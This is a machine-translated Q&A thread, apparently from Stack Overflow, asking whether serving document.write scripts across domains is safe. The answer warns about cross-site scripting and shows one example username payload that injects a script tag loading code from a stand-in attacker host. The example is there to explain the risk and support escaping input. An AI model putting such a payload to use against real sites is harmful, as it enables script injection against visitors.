0

非常に単純なAPIがあり、別のサイトで一部のコンテンツをレンダリングするために戻りたいと考えています。apiエンドポイントからのようなものを送信したい(たとえば、<script src ='http:// domain / api / endpoint /1'>のように含まれているhttp://domain.com/api/endpoint/1など) </ script>):

document.write('here is my value<br />');
document.write('Let me give you some inforamtion about this<br />');

そしてそれを脱出するだけです。httpsやコンテンツについての心配はありません。二人は漠然とこれは危険だと思っていると言っていましたが、私たちの側で正しく処理した場合(とにかくそうなるでしょう)、実際にはどうなるのかわかりませんか?これは安全ですか?私は何かが足りないのですか?JSONPは、このようなものにはやり過ぎです。可能な限り最も単純な手法が必要です。

事前にt​​hx

4

1 に答える 1

1

両方のドメインを制御している限り、あるドメインのスクリプトを別のドメインのWebページに含めるという事実にセキュリティ上の問題はありません。CDN、コンテンツサブドメイン、または他のドメイン全体からスクリプトタグを提供するサイトはたくさんあります。

document.writeの使用は廃止されており、おそらく頭痛の種になります。

唯一のセキュリティ上の懸念は、APIがユーザーコンテンツをページにdocument.writeすることを許可するかどうかです。そうすると、誰かがユーザー名を次のように設定するクロスサイトスクリプティング攻撃に対して脆弱になります。

/><script>document.write('<script src="myevilpage.com"></script>'</script>

そして、あなたのコードはそれをページに喜んで注入し、それからそれを訪問するすべての人がウイルスに感染し、彼らのコンピュータが爆発します。通常、APIで送信する前にユーザーベースの入力をエスケープし、JavaScriptでサニタイズしてから、textNodeまたは同様のトリックとしてページに挿入し、ユーザーがページを操作できないようにします。

于 2012-12-07T05:05:16.253 に答える